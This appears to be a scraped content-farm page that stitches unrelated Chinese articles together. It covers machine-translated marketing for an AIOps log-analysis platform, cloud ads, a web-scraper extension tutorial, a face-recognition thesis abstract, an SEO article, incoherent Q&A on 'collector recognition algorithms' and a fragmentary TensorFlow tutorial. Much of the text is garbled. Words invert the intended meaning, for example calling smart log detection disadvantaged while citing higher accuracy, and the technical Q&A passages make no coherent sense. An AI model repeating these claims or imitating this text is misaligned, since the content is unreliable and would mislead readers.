　　運維人員在進(jìn)行故障排除時(shí)，往往無(wú)法啟動(dòng)，因為他們查看的日志中沒(méi)有收錄全局信息。但是，云智能智能日志平臺可以通過(guò)拼接日志中的相關(guān)字段，創(chuàng )建日志的不完整上下游信息。全局直觀(guān)的人員顯示，幫助運維人員展示所有故障相關(guān)的問(wèn)題日志，便于快速查詢(xún)和排除故障。
　　當日志監控手段多而全面時(shí)，誤報率會(huì )增加，而模式識別是云智能的日志“轉化場(chǎng)景”之一。在傳統的運維中，由于運維人員需要做大量的手動(dòng)配置，日志管理分析非常麻煩。云智能方案無(wú)需企業(yè)進(jìn)行任何配置，即可享受智能方案帶來(lái)的效率提升。
　　
　　同一種模式的日志往往具有某些獨特的特征，例如相似的日志結構。日志模式識別使用聚類(lèi)算法對日志文本中相似度高的數據進(jìn)行聚合，從而提取出獨特的日志模式。無(wú)需運維人員配置，即可主動(dòng)快速發(fā)現異常模式日志。此外，它還可以輔助根因分析，通過(guò)配置的聚合關(guān)鍵字生成“餅圖”和“條形圖”，幫助企業(yè)管理者了解不同時(shí)期的具體情況，從而擴大排查范圍。
　　基于日志的鏈路拓撲是一種非侵入式的日志轉換形式。無(wú)需安裝探針和日志鏈路，即可為運維人員提供全鏈路跟蹤和故障排除能力。
　　如下圖，運維人員可以具體看到各個(gè)應用相關(guān)日志組成的調用鏈。此外，每個(gè)可觀(guān)察節點(diǎn)都會(huì )用不同的顏色來(lái)識別自己的弱點(diǎn)。同時(shí)，云智慧日志管理平臺也反對點(diǎn)擊節點(diǎn)下鉆，方便運維人員查看節點(diǎn)的具體運行狀態(tài)。
　　日志審計的主要內容是各種操作日志、流量日志、會(huì )話(huà)日志、原創(chuàng )數據包等。外部困難在于大數據的聚合、存儲（保留6個(gè)月）、索引和分析技術(shù)。云智慧認為，日志審計應該具備數據脫敏、快速查詢(xún)歷史日志、存儲成本低的能力。此外，根據《網(wǎng)絡(luò )安全法》的要求，數據最長(cháng)保存期限為6個(gè)月，規定時(shí)間范圍內的日志數據可要求監管部門(mén)調取。同時(shí)，云智慧也認為日志審計應該具備安全事件的預警和分析能力，讓企業(yè)在管理日志后也能具備安全合規的能力。
　　劣勢及價(jià)值分析 智能日志異常檢測VS傳統日志異常檢測
　　與傳統的日志異常檢測相比，智能日志在人力成本、告警準確率、異常定位等方面存在明顯劣勢?；谝幎ǖ膫鹘y日志異常檢測，報警準確率只有20%左右，而云智能的智能日志可以達到70%。
　　模式識別在日志分析中的價(jià)值案例分享
　　下圖為國內某頂級券商云智能服務(wù)的真實(shí)案例。為了更好的保證系統的穩定性，云智慧對業(yè)務(wù)系統中收錄用戶(hù)行為的采集日志進(jìn)行管理，并管理到日志智能分析平臺中。在上面，我們嘗試通過(guò)比較異常期和異常期日志的分布趨勢來(lái)定位輔助根因。
　　首先看異常期間日志的日志分布趨勢以及用戶(hù)登錄客戶(hù)端和版本號的分布（如左圖）。接下來(lái)我們看一下異常時(shí)期的日志分布趨勢圖（如右圖所示）。異常期間，日志量比異常期間增加了10倍以上，登錄客戶(hù)端的用戶(hù)比例和版本號比例發(fā)生了顯著(zhù)變化。，Android的占比從68%變成了95%。同期，7.2.4 版本生成了 12,000 多條日志?；诖?，不難推斷該故障極有可能是7.2.4版本的Android客戶(hù)端造成的。經(jīng)調查確認，上述說(shuō)法得到證實(shí)。短短3分鐘，
　　案例二：攜號轉網(wǎng)行為日志輔助根因分析
　　下圖是一個(gè)云智能服務(wù)運營(yíng)商企業(yè)的真實(shí)案例。日志是轉號業(yè)務(wù)產(chǎn)生的服務(wù)器日志。從下圖可以看出，異常發(fā)生的時(shí)間是2021年8月2日15:35，此時(shí)運維人員可以直接點(diǎn)擊系統中的異常點(diǎn)，查看系統的分析頁(yè)面異常點(diǎn)。圖片右側可以看到的原創(chuàng )日志信息顯示，群服務(wù)器申請某個(gè)IP時(shí)信息異常。在傳統的運維中，運維人員只能停留在這一步。但是，借助云智能的智能日志平臺，運維人員可以對這些日志進(jìn)行匯總和分析。
　　這個(gè)場(chǎng)景就是調用鏈的應用。在一家銀行，Cloud Intelligence 幫助企業(yè)建立了從前端到后端的呼叫鏈接（通過(guò) Opentracing 協(xié)議）。某天，當你收到39或更多時(shí)，APP會(huì )發(fā)出9.9元的優(yōu)惠券。由于A(yíng)PP卡住，響應慢，無(wú)法申請優(yōu)惠券，引發(fā)大量用戶(hù)投訴。云智慧通過(guò)調用鏈接來(lái)檢查問(wèn)題的時(shí)間段。上述投訴問(wèn)題是由于外圍系統響應慢和HTTP500錯誤造成的。
　　案例4：某資產(chǎn)管理公司基于日志的系統漏洞分析
　　下圖是一家資產(chǎn)管理公司的案例。公司的系統來(lái)自?xún)炔繀f(xié)商，企業(yè)運維人員想獨立管理所有系統日志。其次，有兩個(gè)需求。一方面，當接到報警后，可以快速解決問(wèn)題，增加了運維的難度?；谝陨闲枨?，云智慧提供日志+對抗告警+監控核心分片墻方案，對日志中的關(guān)鍵字進(jìn)行監控告警，通過(guò)事后防護知識庫匹配告警信息的關(guān)鍵字。，并提供推薦的常識（常識為客戶(hù)推薦定制的性能），
　　
　　寫(xiě)在開(kāi)頭
　　近年來(lái)，在A(yíng)IOps領(lǐng)域快速回歸的背景下，各行業(yè)對IT工具、平臺能力、解決方案、AI場(chǎng)景和可用數據集的需求呈爆發(fā)式增長(cháng)?；诖?，云智慧于 2021 年 8 月宣布成立 AIOps 社區，旨在打造開(kāi)源旗幟，為各行業(yè)的客戶(hù)、用戶(hù)、研究人員和開(kāi)發(fā)者打造一個(gè)沉悶的用戶(hù)和開(kāi)發(fā)者社區，為行業(yè)做出獨特貢獻和解決。問(wèn)題，并促成了該領(lǐng)域的技術(shù)倒退。
　　社區開(kāi)源了數據可視化編排平臺——FlyFish、運維治理平臺OMP、云服務(wù)治理平臺——摩爾平臺、Hours算法等產(chǎn)品。
　　視覺(jué)編排平臺-FlyFish：
　　我的項目介紹：...
　　Github地址：…
　　吉特地址：…
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　　本地大屏案例：
　　請通過(guò)上面的鏈接了解我們，加個(gè)小助手（xiaoyuerwie） 注：飛魚(yú)。退出開(kāi)發(fā)者交流群，與業(yè)內大咖進(jìn)行1V1交流！
　　您還可以通過(guò)小助手獲取云智能AIOps信息，了解云智能FlyFish最新進(jìn)展！
　　【騰訊云】云產(chǎn)品限時(shí)發(fā)售，熱門(mén)1核2G云服務(wù)器首年50元
　　阿里云限時(shí)活動(dòng)-2核2G-5M帶寬-60G SSD-1000G月流量，特價(jià)99元/年（原價(jià)1234.2元/年，可直接購買(mǎi)3年），抓緊時(shí)間
　　操作方法:極簡(jiǎn)易用網(wǎng)頁(yè)采集器：爬一爬數據采集實(shí)戰教程
　　在使用了各種爬蟲(chóng)軟件后，終于找到了一個(gè)好用又免費的數據采集器。對于沒(méi)有強大編程基礎的數據分析師來(lái)說(shuō)，攀登 采集器 就像是量身定做。在使用的過(guò)程中，有幾處感受是必須要表?yè)P和表?yè)P的。
　　免費/易操作/跨平臺/高效
　　下面簡(jiǎn)單介紹一下使用方法，讓更多的人可以用最簡(jiǎn)單的方式采集到需要的數據。
　　首先爬取采集器的谷歌瀏覽器插件。
　　單擊瀏覽器工具欄右側的按鈕 -&gt; 更多工具 -&gt; 擴展?；蛟诘刂窓谥休斎?chrome://extensions/
　　安裝步驟2：打開(kāi)擴展頁(yè)面
　　3、將下載好的插件拖入瀏覽器的“擴展”頁(yè)面，點(diǎn)擊“添加擴展”，插件安裝完成?！癈limb”標志出現在插件欄的右側。
　　安裝步驟 3：添加擴展
　　
　　4. 確保你的賬號已經(jīng)登錄，打開(kāi)你要采集的網(wǎng)站，點(diǎn)擊瀏覽器插件欄的“爬升”圖標啟動(dòng)插件。
　　5. 單擊以選擇要抓取的元素。如果彩盒中沒(méi)有收錄所有的任務(wù)數據，點(diǎn)擊選中元素右側的“變換”按鈕切換算法，直到選中所有的任務(wù)數據。
　　采集第一步：依次選擇要為采集的元素
　　6、如果要抓取多頁(yè)，點(diǎn)擊分頁(yè)設置的箭頭，選擇頁(yè)碼所在的區域。
　　采集第二步：選擇頁(yè)碼所在區域
　　7、確認顏色框中的數據全部選中后，先點(diǎn)擊“完成”按鈕，再點(diǎn)擊“測試”按鈕，測試數據采集是否成功。（注：測試模式下最多可以采集5頁(yè)數據）
　　采集第三步：測試數據
　　8、確認測試成功后，點(diǎn)擊“確定”關(guān)閉測試窗口。填寫(xiě)任務(wù)名稱(chēng)（長(cháng)度4-32個(gè)字符，必填），根據個(gè)人需要修改列名。
　　
　　9.點(diǎn)擊“提交”按鈕，任務(wù)創(chuàng )建成功。您可以在 網(wǎng)站 的“任務(wù)”頁(yè)面下運行和管理此任務(wù)。
　　采集第四步：運行任務(wù)
　　10. 在任務(wù)運行過(guò)程中，您可以點(diǎn)擊任務(wù)的“管理”頁(yè)面，查看任務(wù)運行狀態(tài)和日志。
　　采集第五步：查看任務(wù)運行狀態(tài)
　　11. 任務(wù)運行后，點(diǎn)擊“任務(wù)”頁(yè)面的數據選項，即可查看和下載數據。
　　采集第 5 步：查看和下載數據
　　教程簡(jiǎn)單分享給大家，操作很簡(jiǎn)單，免費，功能很強大。希望本次分享能夠對一些需要采集數據工作者或者數據支持的公司有所幫助！ 查看全部

　　整套解決方案:智能人臉識別算法及其FPGA的實(shí)現
　　
　　上海交通大學(xué)碩士論文摘要第I頁(yè)智能人臉識別算法及其FPGA實(shí)現摘要自動(dòng)人臉識別技術(shù)是模式識別、圖像處理等學(xué)科中最熱門(mén)的研究課題之一。隨著(zhù)社會(huì )的發(fā)展，各方對快速有效的自動(dòng)身份驗證的要求越來(lái)越迫切，而人臉識別技術(shù)作為各種生物識別技術(shù)中最重要的手段之一，也越來(lái)越受到重視。實(shí)時(shí)、快速、低誤報率的高性能算法和算法的硬件加速研究也在逐步展開(kāi)。本文詳細分析了智能人臉識別算法的原理、發(fā)展概況和展望，包括人臉檢測算法、人眼定位算法、預處理算法、PCA和ICA算法，詳細分析項目情況、系統劃分、軟硬件平臺資源和使用。在ISE軟件平臺上，嚴格按照FPGA代碼風(fēng)格，采用硬件描述語(yǔ)言（ver ilog HDL）對RTL中的算法部分進(jìn)行建模，并對C++算法進(jìn)行了優(yōu)化。比較評估誤差最后在Vi rt ex II Pro FPGA上進(jìn)行了全面的實(shí)現。主要研究?jì)热萑缦?。首先對硬件平臺xili nx的Vi rt ex II Pro FPGA上的系統資源進(jìn)行了描述和研究。對內存sdram、RS-232串口、J TAG進(jìn)行了研究和調試。Cor ec onnect 的 OPB 總線(xiàn)仲裁機制在兩種算法之間進(jìn)行比較，
　　
　　利用ISE和VC++軟件平臺，對verilog和C++算法進(jìn)行同步對比測試，使算法的每一步都對應正確的結果。合理利用軟硬件平臺，使項目盡可能充分利用硬件資源，在做板時(shí)選擇正確的型號，加快設計和調試進(jìn)度。上海交通大學(xué)碩士論文摘要第二頁(yè)，分別對比研究了人臉識別算法過(guò)程中的人臉檢測、眼睛定位、預處理和識別算法，選出性能最好的算法。對其原理進(jìn)行了分析和討論。人臉檢測采用adaboos t算法，它在速度和準確性的綜合表現上非常出色。小塊合并算法用于人眼定位是因為它具有快速、準確、實(shí)時(shí)性弱的特點(diǎn)。預處理算法采用直方圖均衡平滑算法，簡(jiǎn)單高效。識別算法采用PCA和ICA算法，可以最大程度地減弱姿態(tài)和光照對人臉識別的影響。最后，利用Verilog HDL硬件描述語(yǔ)言對該算法進(jìn)行RTL建模，在C++算法的基礎上，在保證原有效果的前提下，根據FPGA硬件的特點(diǎn)對算法進(jìn)行了優(yōu)化。視頻輸入輸出是人臉識別的前提，
　　核心方法:seo優(yōu)化過(guò)度的表現是怎樣的？怎樣避免seo過(guò)度被降權?
　　2021-12-03
　　seo優(yōu)化
　　王格
　　要做網(wǎng)站seo優(yōu)化，需要自己做站內和站外seo優(yōu)化，持續穩定優(yōu)化，增加域名信任和質(zhì)量，但是有時(shí)候優(yōu)化不到位，網(wǎng)站過(guò)度優(yōu)化會(huì )直接導致網(wǎng)站被搜索引擎降級和懲罰，哪些網(wǎng)站seo優(yōu)化屬于網(wǎng)站seo過(guò)度優(yōu)化操作？如何判斷網(wǎng)站seo是否過(guò)度優(yōu)化？如何避免 網(wǎng)站seo 過(guò)度優(yōu)化被搜索降級？接下來(lái)，一品小編將為大家分享如何診斷分析，如何避免降級。
　　
　　1、哪些seo優(yōu)化操作會(huì )被判斷為網(wǎng)站過(guò)度seo？
　　1.網(wǎng)站詞庫規劃布局，網(wǎng)站標題寫(xiě)，大量列表關(guān)鍵詞，網(wǎng)站標題是參與詞庫排名匹配的重點(diǎn)，這么多站長(cháng)們，為了完全匹配關(guān)鍵詞，故意在標題中疊加或者重復關(guān)鍵詞，以增加匹配度和相關(guān)度，但是這個(gè)操作直接用于新站的優(yōu)化在線(xiàn)的。搜索打擊。
　　2、網(wǎng)站內鏈構建，網(wǎng)站做內鏈錨文本構建，操作多個(gè)內鏈錨文本，都指向首頁(yè)URL，這種操作網(wǎng)站內鏈構建不是站在用戶(hù)的搜索推薦上，只是優(yōu)化操作關(guān)鍵詞，以及操作的內鏈錨文本，這種沒(méi)有推薦意義的內鏈，一般不會(huì )有一個(gè)好的搜索排名，會(huì )直接導致網(wǎng)站首頁(yè)因為過(guò)度被搜索引擎降級。
　　3、網(wǎng)站外鏈建設，外鏈需要持續穩定建設，外鏈需要穩定性和多樣化，短期內會(huì )增加大量外鏈。，這種操作很容易被判斷為惡意購買(mǎi)外鏈提權。單向外鏈對網(wǎng)站的影響不是太大，一般不會(huì )輕易拉低，如果是朋友鏈，可能會(huì )受到影響，搜索引擎會(huì )自己過(guò)濾，無(wú)效外部鏈接會(huì )被直接過(guò)濾掉，不會(huì )有增加信任的效果。
　　4.故意文章內容更新進(jìn)行優(yōu)化，網(wǎng)站原創(chuàng )內容更新會(huì )增加網(wǎng)站有效收錄，增加詞庫排名，但如果是為了seo故意大量更新文章、偽原創(chuàng )，堆積文章等詞對用戶(hù)來(lái)說(shuō)是無(wú)用的，毫無(wú)價(jià)值的。短期內可能有效，但如果長(cháng)期被搜索引擎發(fā)現，會(huì )導致網(wǎng)站被刪除權限無(wú)法參與詞庫排名。
　　
　　2.如何避免網(wǎng)站過(guò)度seo優(yōu)化導致網(wǎng)站降級？
　　1.網(wǎng)站過(guò)度seo優(yōu)化是由網(wǎng)站seo優(yōu)化者為了短期內獲得排名而故意進(jìn)行seo優(yōu)化操作，如標題堆疊重復關(guān)鍵詞，大量詞庫鏈錨文本的全部指向首頁(yè)，短時(shí)間內購買(mǎi)大量外鏈，網(wǎng)站大量更新低質(zhì)量網(wǎng)頁(yè)文章等。
　　2.網(wǎng)站標題要編好，詞庫要組織好。標題格式應參考百度推薦的標題規范。兩者都是友好的，簡(jiǎn)單地堆疊和重復用戶(hù)體驗并不好。
　　3、對于網(wǎng)站內鏈的構建，小編建議操作推薦的網(wǎng)站內鏈，而不是為了刻意優(yōu)化而操縱內鏈錨文本指向首頁(yè)URL。內鏈的作用是提升用戶(hù)搜索體驗，增加網(wǎng)站內容的價(jià)值，相關(guān)推薦和面包屑導航也是內鏈建設。
　　4. 網(wǎng)站內容建設，寫(xiě)有利于用戶(hù)搜索的網(wǎng)頁(yè)內容更新，搜索引擎的存在是為了推薦有價(jià)值的網(wǎng)頁(yè)內容信息，而不是在文章，網(wǎng)頁(yè)中刻意布局優(yōu)化詞您可以獲得良好的詞庫排名。一些老網(wǎng)站可能有排名，但是低質(zhì)量網(wǎng)頁(yè)文章的排名長(cháng)期不穩定。做高質(zhì)量的原創(chuàng )內容更新，提升網(wǎng)站的質(zhì)量和域名信任度。 查看全部

　　終極:采集器的自動(dòng)識別算法：經(jīng)過(guò)識別之后會(huì )推送給包括esb
　　
　　采集器的自動(dòng)識別算法：經(jīng)過(guò)識別之后會(huì )推送給包括esb（即javasqlapi中的bigdata方言）在內的所有數據庫服務(wù)器，然后所有服務(wù)器都開(kāi)始一起向公網(wǎng)發(fā)送數據（oracletair等支持ftp），這樣的話(huà)javasqlapi就可以直接進(jìn)行數據轉發(fā)了，速度就會(huì )非?？?。javasqlapi提供的是自動(dòng)化測試平臺服務(wù)（html5寫(xiě)的、帶主從的分布式云模塊），所以會(huì )有一些兼容性問(wèn)題，也會(huì )存在數據傳輸問(wèn)題等等。
　　
　　對于ftp存在的數據傳輸問(wèn)題（包括直接原始磁盤(pán)拷貝的、mapreduce的），我覺(jué)得相比于oracle數據庫自帶的ftp這樣的只需要openstackvm就能支持的解決方案，我還是更希望在云上通過(guò)一套標準化的（prefix/vlan/cache）方案，在不同的機器上虛擬化共享數據，確保安全性和不泄露敏感信息的情況下把同一份數據分布到不同的ip上傳輸和保存，這樣對實(shí)時(shí)數據處理有更高的要求的話(huà)，可以考慮遷移到vm集群解決。
　　關(guān)于云數據庫：1.云數據庫是否要必須保證敏感數據存儲和查詢(xún)（尤其是java中的大數據方案）；2.云數據庫是否有本地開(kāi)發(fā)好的java版（ftp這些本地oracle/mysql/sqlserver之外還有本地sqlserver插件）；3.云數據庫是否可以基于cloudapi實(shí)現本地服務(wù)集成的模塊，以及在云上存儲；這些可以作為討論點(diǎn)；。 查看全部

　　直觀(guān):手機采集器的自動(dòng)識別算法本身可以識別的，差不多
　　采集器的自動(dòng)識別算法本身可以識別的，就是內置多個(gè)閾值值，最準確的是光頻成分，再次是設備識別成像特征，再次是設備識別的時(shí)間，很多很多，看你的需求。
　　
　　手機目前對接的視頻采集分為兩種：一種是目前主流的攝像頭手機，包括小米以及vivo，現在這類(lèi)手機基本上都是通過(guò)藍牙或者wifi連接采集機器，
　　可以的，市面上的現成方案都是可以直接采集手機拍攝的圖像信息，因為兩點(diǎn)1如果采集的是視頻信息，是需要用專(zhuān)門(mén)的剪輯軟件剪輯過(guò)的，例如萬(wàn)興方案一般用的是topmovie2如果是音頻信息，肯定需要轉換成mp3格式，如果是用開(kāi)源視頻采集軟件，對應采集按鈕和腳本模塊可以采集到圖像和音頻信息，然后數據庫匹配計算出怎么生成視頻就差不多了，推薦用mtk平臺視頻編輯器，海思和a58的，國產(chǎn)的mp3平臺比較成熟的算是走云飛，如果考慮以后做成soc，那還需要加上圖像處理。
　　
　　只要手機的攝像頭能看到信號，
　　手機采集目前手機cmos卡一般帶藍牙功能或者wifi功能，都可以連接攝像頭拍攝，現在的視頻采集手機一般都會(huì )帶一個(gè)相機采集器，然后其它機器都是先從電腦上采集到攝像頭拍攝視頻，
　　嗯，這個(gè)是有的，如果你買(mǎi)可以自動(dòng)識別來(lái)源是手機攝像頭的手機，可以將采集到的信息跟對應的匹配上，如果你想多個(gè)方向來(lái)采集信息，需要多個(gè)攝像頭， 查看全部

　　解決方案:采集器的自動(dòng)識別算法(一)_光明網(wǎng)(圖)
　　采集器的自動(dòng)識別算法通常是依據照片偏差來(lái)生成相關(guān)性很小的數據進(jìn)行特征點(diǎn)提取,自動(dòng)識別一般都是識別出一定范圍內的特征點(diǎn),也就是區域內的個(gè)數(iou)大于一定閾值才可以被識別.當然也有例外,比如圖像區域內有雜物,只有少數幾個(gè)實(shí)體可以被自動(dòng)識別.
　　這個(gè)要么就是基于類(lèi)的算法，要么就是基于一些特征點(diǎn)，或者是沒(méi)有用的某種特征點(diǎn)。比如區域內的特征點(diǎn)少，但是在圖像中存在多個(gè)點(diǎn)的話(huà)，想要分類(lèi)就要將某幾個(gè)點(diǎn)進(jìn)行特征點(diǎn)提取計算。所以區域內的幾個(gè)點(diǎn)幾乎都會(huì )識別出來(lái)，至于具體選擇哪個(gè)點(diǎn)，具體取決于對于某種圖像分類(lèi)的準確率。一般來(lái)說(shuō)生成的點(diǎn)都較為準確，因為iou（一定范圍內圖像內包含的最小單元）大于閾值會(huì )被自動(dòng)識別，區域內比如說(shuō)從左上到右下全是點(diǎn)，這種點(diǎn)識別結果也會(huì )好。
　　
　　基于特征的，一個(gè)特征點(diǎn)上的分類(lèi)圖一般會(huì )識別出50%-70%的結果。區域內的特征點(diǎn)，當每個(gè)特征點(diǎn)的分類(lèi)結果相差比較大的時(shí)候，一般會(huì )認為是區域內的，當然這個(gè)不絕對，有的特征點(diǎn)分類(lèi)后，可能結果特別的差。
　　都認為是，一般是區域內的較好。至于對大小的判定，
　　
　　1：對于圖像識別問(wèn)題，不用單單的回答是或者不是，從文章目的來(lái)說(shuō)，它只是解決一個(gè)問(wèn)題：輸入和輸出的判斷問(wèn)題，輸入輸出一般是圖像本身，會(huì )算出一個(gè)關(guān)于圖像輸入的結果，對于模型的認識：對于輸入（圖像），會(huì )算出一個(gè)最大iou值，也就是輸入和輸出的結果比較值。如果都在區域內，就認為是區域內的(當然，特殊情況除外)，當輸入輸出有不在區域內時(shí)，則認為是不在區域內的(當然，特殊情況除外)。
　　2：從數學(xué)角度上來(lái)看的話(huà)，取決于我們最初假設的變量選擇。比如說(shuō)兩張圖片，在同一個(gè)位置有不同的顏色值，有個(gè)樣本，且這兩個(gè)顏色值點(diǎn)的距離也很近，一個(gè)樣本是0.5，一個(gè)樣本是1.5。這個(gè)時(shí)候取0.5這個(gè)點(diǎn)做特征。其他值作為進(jìn)一步的判斷即可。對于區域內的點(diǎn)，在相同顏色值情況下，點(diǎn)位于同一區域內，那么這個(gè)點(diǎn)就可以在這個(gè)區域內。
　　如果在不同區域，那么取出一個(gè)屬于區域內的，與最小區域內的點(diǎn)做比較，如果在多個(gè)區域內，那么取這個(gè)取后面最小的那個(gè)區域，再比較相鄰的兩個(gè)區域，都不在區域內，則認為是不在區域內。對于大小來(lái)說(shuō)，我認為實(shí)際情況下我們考慮空間分辨率和高度。對于同一大小的圖片，顏色值相同的話(huà)，取對于高度相同的這一特征點(diǎn)。對于不同顏色值情況下，取對于顏色值，高度在高的區域內的點(diǎn)，判斷點(diǎn)相似度即可。無(wú)線(xiàn)區域內的一些點(diǎn)在輸入上有可能沒(méi)有問(wèn)題，但是將來(lái)可能會(huì )有新情況出現。比如空間分辨率低的圖。 查看全部

　　通用方法:幾種人臉識別算法的原理概念及其代碼特征
　　1 簡(jiǎn)介
　　隨著(zhù)面向對象編程語(yǔ)言的發(fā)展，掌握一門(mén)新的編程應用技術(shù)基本上有兩個(gè)要求：
　　可以理解大體原理：這可以幫助我們組織/修改/加入現有的代碼塊
　　能夠識別核心代碼：這可以幫助我們調試代碼性能以滿(mǎn)足我們的需求
　　因此，本文以“關(guān)鍵原理和概念”vs.“核心代碼塊的特征”的形式總結了幾種人臉識別算法，以供回顧、改進(jìn)和交流學(xué)習。
　　需要注意的是：
　　本文的主要內容是網(wǎng)絡(luò )資源的有序排列。帶下劃線(xiàn)的文本有鏈接。
　　我會(huì )在編程表達式上不準確和不專(zhuān)業(yè)，希望您能從中得到一點(diǎn)啟發(fā)和便利。
　　本文所有代碼均來(lái)自網(wǎng)絡(luò )，主要來(lái)自seathiefwang；康尼波；aymericdamien，其知識產(chǎn)權和附帶的合法權利屬于原作者。
　　另外，在深度學(xué)習上，這種辯證的 文章 很有啟發(fā)性。
　　2.主要內容 2.1. 源碼介紹及鏈接
　　2.2. 基于線(xiàn)性回歸的機器學(xué)習最簡(jiǎn)單的例子
　　2.3 基于歐式距離的人臉識別
　　2.4 Tensorflow組織的卷積神經(jīng)網(wǎng)絡(luò )架構
　　2.5 完整的代碼和特征代碼塊 2.1。源代碼介紹及鏈接
　　后面會(huì )有很多廢話(huà)，先上源碼。都經(jīng)過(guò)我測試，可以按照如下配置運行：Win10 + Python 3.6 + Tensorflow 2.0，其他庫按照pip默認版本安裝即可。
　　代碼兼容性問(wèn)題很大一部分來(lái)自于不同版本的 Tensorflow。對于基于Tensorflow 1.x編寫(xiě)的代碼，我修改參考如下，使其在Tensorflow 2.0下運行。
　　import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
　?。?）基于線(xiàn)性回歸的機器學(xué)習最簡(jiǎn)單的例子：源碼；備份我的修改
　　數據集是自定義數組；
　　簡(jiǎn)要展示了機器學(xué)習的訓練和性能評估環(huán)節。
　　#python迭代過(guò)程
step: 50, loss: 0.001438, W: 0.981427, b: 0.116864
step: 100, loss: 0.001171, W: 0.983242, b: 0.105449
step: 150, loss: 0.000953, W: 0.984879, b: 0.095148
step: 200, loss: 0.000776, W: 0.986356, b: 0.085853
step: 250, loss: 0.000632, W: 0.987689, b: 0.077467
step: 300, loss: 0.000514, W: 0.988891, b: 0.069899
step: 350, loss: 0.000419, W: 0.989976, b: 0.063071
step: 400, loss: 0.000341, W: 0.990956, b: 0.056910
step: 450, loss: 0.000278, W: 0.991839, b: 0.051351
step: 500, loss: 0.000226, W: 0.992636, b: 0.046334
step: 550, loss: 0.000184, W: 0.993356, b: 0.041808
step: 600, loss: 0.000150, W: 0.994005, b: 0.037724
step: 650, loss: 0.000122, W: 0.994590, b: 0.034039
step: 700, loss: 0.000099, W: 0.995119, b: 0.030714
step: 750, loss: 0.000081, W: 0.995596, b: 0.027714
step: 800, loss: 0.000066, W: 0.996026, b: 0.025006
step: 850, loss: 0.000054, W: 0.996414, b: 0.022564
step: 900, loss: 0.000044, W: 0.996764, b: 0.020360
step: 950, loss: 0.000036, W: 0.997080, b: 0.018371
step: 1000, loss: 0.000029, W: 0.997366, b: 0.016576
　　訓練好的回歸曲線(xiàn)，系數a為0.997366，截距b為0.016576
　?。?）基于歐式距離算法的人臉識別：源碼；我的備份
　　強烈推薦這段代碼，很用心；
　　寫(xiě)的很好，最近才上傳，所以代碼版本沒(méi)有問(wèn)題；
　　基本功能：攝像頭采集圖片采集，然后通過(guò)攝像頭識別人臉。
　　技術(shù)路線(xiàn)圖
　?。?）基于Tensorflow庫的人臉識別神經(jīng)網(wǎng)絡(luò )：源碼；備份我的修改。
　　作者把基于Tensorflow的神經(jīng)網(wǎng)絡(luò )架構寫(xiě)的非常簡(jiǎn)潔明了，難得的神經(jīng)網(wǎng)絡(luò )代碼；
　　是 2017 年的代碼，Tensorflow 版本 1.15.0；
　　人臉識別的準確性還有待確認，但這不是學(xué)習這段代碼的重點(diǎn)；
　　基本功能：攝像頭采集圖片采集，然后通過(guò)攝像頭識別人臉。2.2. 基于線(xiàn)性回歸的卷積神經(jīng)網(wǎng)絡(luò )
　　機器學(xué)習這個(gè)話(huà)題下有一堆算法概念，讓人眼花繚亂。這是一篇很好的文章 文章，與互聯(lián)網(wǎng)上的中文資源相比，它全面而簡(jiǎn)單地列出了重要概念。鏈接地址。
　　模式識別的本質(zhì)是分類(lèi)，單變量線(xiàn)性回歸是分類(lèi)方法之一。形象地說(shuō)，線(xiàn)性回歸算法就是找到最大程度、最大概率區分不同類(lèi)別的最佳直線(xiàn)。
　　在模式識別算法中，線(xiàn)性回歸方程中的 (x) 及其系數 (a, b) 稍微復雜一些。
　　例如，自變量 (x) 定義了一個(gè)人臉，但它被設置為 128 個(gè)元素的一維數組。實(shí)際意義是：用128個(gè)正交坐標來(lái)定義所有的面，所以一個(gè)面是一個(gè)128維的向量空間中的一個(gè)點(diǎn)，所有面的集合都收錄在這個(gè)向量空間中。
　　所以我覺(jué)得系數(a,b)自然應該是多維數組，用來(lái)在128維向量空間中劃分不同的人臉子群。我想以這樣一種方式來(lái)理解它們，因為數組可以收錄大量信息，它們可以精確地區分面孔。因此，解決它們需要大量的數據來(lái)不斷逼近最優(yōu)和最現實(shí)的系數（a，b）。
　　戴上貓臉一會(huì )兒...
　　該求解過(guò)程采用迭代方法，定義迭代的 3 個(gè)參數控制回歸算法的性能，即：
　　學(xué)習率 = 0.01
　　訓練步數 = 1000
　　顯示步長(cháng) = 50
　　并且回歸曲線(xiàn)的性能在每次迭代中通過(guò)2個(gè)參數連續評估，即
　　失利
　　準確性
　　在我看來(lái)，CNN 是一種泛化數據的策略和方法。在每一輪迭代中，不斷壓縮歸納樣本的N維數組（取最大值或平均值），最終得到一個(gè)具有顯著(zhù)區分能力的一維數組：圖像原理。教科書(shū)般的專(zhuān)家評論。
　　CNN的調試和優(yōu)化主要涉及幾個(gè)概念：
　　Sigmoid函數、Softmax函數、ReLU函數（Rectified Linear Unit，ReLU）；
　　CNN的基本配置：卷積層、Relu層、池化層；
　　Tensorboard 工具：可視化神經(jīng)網(wǎng)絡(luò )性能變量，例如損失和準確性。
　　2.3. 基于歐式距離的人臉識別
　　以下是圖片和文字。
　　2.4. TensorFlow 組織的卷積神經(jīng)網(wǎng)絡(luò )架構
　　同上，先看這里。
　　2.5. 完整的代碼和功能代碼塊
　?。?）基于線(xiàn)性回歸的機器學(xué)習最簡(jiǎn)單的例子
　　# Parameters.
learning_rate = 0.01
training_steps = 1000
display_step = 50
　　# Weight and Bias, initialized randomly.
W = tf.Variable(rng.randn(), name="weight")
b = tf.Variable(rng.randn(), name="bias")
# Linear regression (Wx + b).
def linear_regression(x):
return W * x + b
　　# Run the optimization to update W and b values.
run_optimization()

if step % display_step == 0:
pred = linear_regression(X)
loss = mean_square(pred, Y)
print("step: %i, loss: %f, W: %f, b: %f" % (step, loss, W.numpy(), b.numpy()))
　　from __future__ import absolute_import, division, print_function
import tensorflow as tf
import numpy as np
rng = np.random
# Parameters.
learning_rate = 0.01
training_steps = 1000
display_step = 50
# Training Data.
X = np.array([1,2,3,4,5,6,7,8,9])
Y = np.array([1,2,3,4,5,6,7,8,9])
n_samples = X.shape[0]
# Weight and Bias, initialized randomly.
W = tf.Variable(rng.randn(), name="weight")
b = tf.Variable(rng.randn(), name="bias")
# Linear regression (Wx + b).
def linear_regression(x):
return W * x + b
# Mean square error.
def mean_square(y_pred, y_true):
return tf.reduce_sum(tf.pow(y_pred-y_true, 2)) / (2 * n_samples)
# Stochastic Gradient Descent Optimizer.
optimizer = tf.optimizers.SGD(learning_rate)
# Optimization process.
def run_optimization():
# Wrap computation inside a GradientTape for automatic differentiation.
with tf.GradientTape() as g:
pred = linear_regression(X)
